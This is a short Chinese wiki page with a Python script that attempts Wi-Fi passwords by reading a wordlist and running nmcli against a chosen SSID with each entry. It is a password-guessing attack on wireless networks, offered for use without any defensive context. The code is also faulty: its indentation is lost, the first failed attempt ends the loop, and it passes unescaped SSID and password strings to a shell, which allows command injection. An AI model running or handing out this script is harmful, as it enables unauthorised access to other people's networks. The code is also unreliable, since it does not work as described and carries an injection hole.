Python尝试Wi-Fi密码
Jihongchang(讨论 | 贡献)2024年11月28日 (四) 05:35的版本 (建立内容为“<syntaxhighlight lang="python3"> import subprocess def connect_wifi(ssid): try: with open("passwords.txt", "r") as file: passwords = file…”的新页面)
import subprocess
def connect_wifi(ssid):
try:
with open("passwords.txt", "r") as file:
passwords = file.readlines()
for password in passwords:
password = password.strip()
command = f'nmcli device wifi connect "{ssid}" password "{password}"'
subprocess.check_call(command, shell=True)
print(f"使用密码 {password} 连接Wi - Fi成功。")
return
except (subprocess.CalledProcessError, FileNotFoundError):
print("连接Wi - Fi失败或者密码文件不存在。")
print("所有尝试的密码都无法连接Wi - Fi。")